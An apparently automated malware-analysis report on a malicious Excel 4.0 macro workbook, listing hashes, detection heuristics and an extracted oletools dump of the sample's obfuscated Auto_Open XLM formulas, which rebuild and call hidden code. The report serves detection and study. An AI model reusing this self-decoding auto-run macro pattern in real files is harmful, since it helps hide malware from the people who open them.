Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3af8009ecb18983d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:49 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: f1ae350a1778331adcc003dfe1c741be SHA-1: a5ed79c04319514ad0fec971a973092b35f30d44 SHA-256: 3af8009ecb18983d32e43e9b3711b081e128894facefdda9d1e0291af4c2d1fd
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6627 bytes
SHA-256: 7dc476322080feeb0db0368e792a1aef9198d48146afd0f61fd3bc28309f18e0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rnleNuEYbth
' 0018     26 LABEL : Cell Value, String Constant - aQRtLupYwKe len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F155 
' 0018     25 LABEL : Cell Value, String Constant - BDTLQCaikj len=0 
' 0018     27 LABEL : Cell Value, String Constant - DloJMkGulktm len=0 
' 0018     22 LABEL : Cell Value, String Constant - DQpwcRp len=0 
' 0018     25 LABEL : Cell Value, String Constant - FPiInkYgnd len=0 
' 0018     21 LABEL : Cell Value, String Constant - KDiSuX len=0 
' 0018     20 LABEL : Cell Value, String Constant - krkCk len=0 
' 0018     25 LABEL : Cell Value, String Constant - LhPLQlXCnO len=0 
' 0018     24 LABEL : Cell Value, String Constant - LxRvkaXGl len=0 
' 0018     23 LABEL : Cell Value, String Constant - nDUTuwcU len=0 
' 0018     27 LABEL : Cell Value, String Constant - OqUIwcYBNaBA len=0 
' 0018     26 LABEL : Cell Value, String Constant - oUTLZKgkBES len=0 
' 0018     22 LABEL : Cell Value, String Constant - sMyogQx len=0 
' 0018     24 LABEL : Cell Value, String Constant - uJYWANWFp len=0 
' 0018     20 LABEL : Cell Value, String Constant - VHCME len=0 
' 0018     20 LABEL : Cell Value, String Constant - WKlls len=0 
' 0018     20 LABEL : Cell Value, String Constant - WphfR len=0 
' 0018     26 LABEL : Cell Value, String Constant - WzIqDnTnPhT len=0 
' 0018     20 LABEL : Cell Value, String Constant - yBlPe len=0 
' 0018     23 LABEL : Cell Value, String Constant - zbMwgjHm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rnleNuEYbth,F58,"SET.NAME("KDiSuX",VALUE("0"))",""
'  rnleNuEYbth,F63,"SET.NAME("DQpwcRp",KDiSuX)",""
'  rnleNuEYbth,F67,"SET.NAME("LhPLQlXCnO",KDiSuX)",""
'  rnleNuEYbth,F71,"SET.NAME("WKlls",COUNTA(FPiInkYgnd))",""
'  rnleNuEYbth,F76,"SET.NAME("krkCk",COUNTA(yBlPe))",""
'  rnleNuEYbth,F81,[],""
'  rnleNuEYbth,F83,"SET.NAME("WzIqDnTnPhT","")",""
'  rnleNuEYbth,F85,"DQpwcRp",""
'  rnleNuEYbth,F89,"SET.NAME("VHCME",HLOOKUP("*",FPiInkYgnd,DQpwcRp,FALSE))",""
'  rnleNuEYbth,F94,"DloJMkGulktm",""
'  rnleNuEYbth,F99,"SET.NAME("BDTLQCaikj",KDiSuX)",""
'  rnleNuEYbth,F103,[],""
'  rnleNuEYbth,F107,"BDTLQCaikj",""
'  rnleNuEYbth,F112,"oUTLZKgkBES",""
'  rnleNuEYbth,F114,"nDUTuwcU",""
'  rnleNuEYbth,F117,"uJYWANWFp",""
'  rnleNuEYbth,F120,"SET.NAME("OqUIwcYBNaBA",VALUE(HLOOKUP("*",yBlPe,uJYWANWFp,FALSE)))",""
'  rnleNuEYbth,F124,"sMyogQx",""
'  rnleNuEYbth,F127,"WzIqDnTnPhT",""
'  rnleNuEYbth,F129,"LhPLQlXCnO",""
'  rnleNuEYbth,F133,NEXT(),""
'  rnleNuEYbth,F135,"aQRtLupYwKe",""
'  rnleNuEYbth,F140,"SET.NAME("f",INT(T(FORMULA(T(WzIqDnTnPhT)&"",""&T(aQRtLupYwKe)))))",""
'  rnleNuEYbth,F142,"WphfR",""
'  rnleNuEYbth,F147,NEXT(),""
'  rnleNuEYbth,F152,RETURN(),""
'  rnleNuEYbth,F182,"SET.NAME("zbMwgjHm",F58)",""
'  rnleNuEYbth,F185,"FPiInkYgnd",""
'  rnleNuEYbth,F187,"SET.NAME("yBlPe",R47C13)",""
'  rnleNuEYbth,F189,"SET.NAME("WphfR",199)",""
'  rnleNuEYbth,F194,"SET.NAME("LxRvkaXGl",6)",""
'  rnleNuEYbth,F198,zbMwgjHm(),""
'  rnleNuEYbth,F199,HALT(),""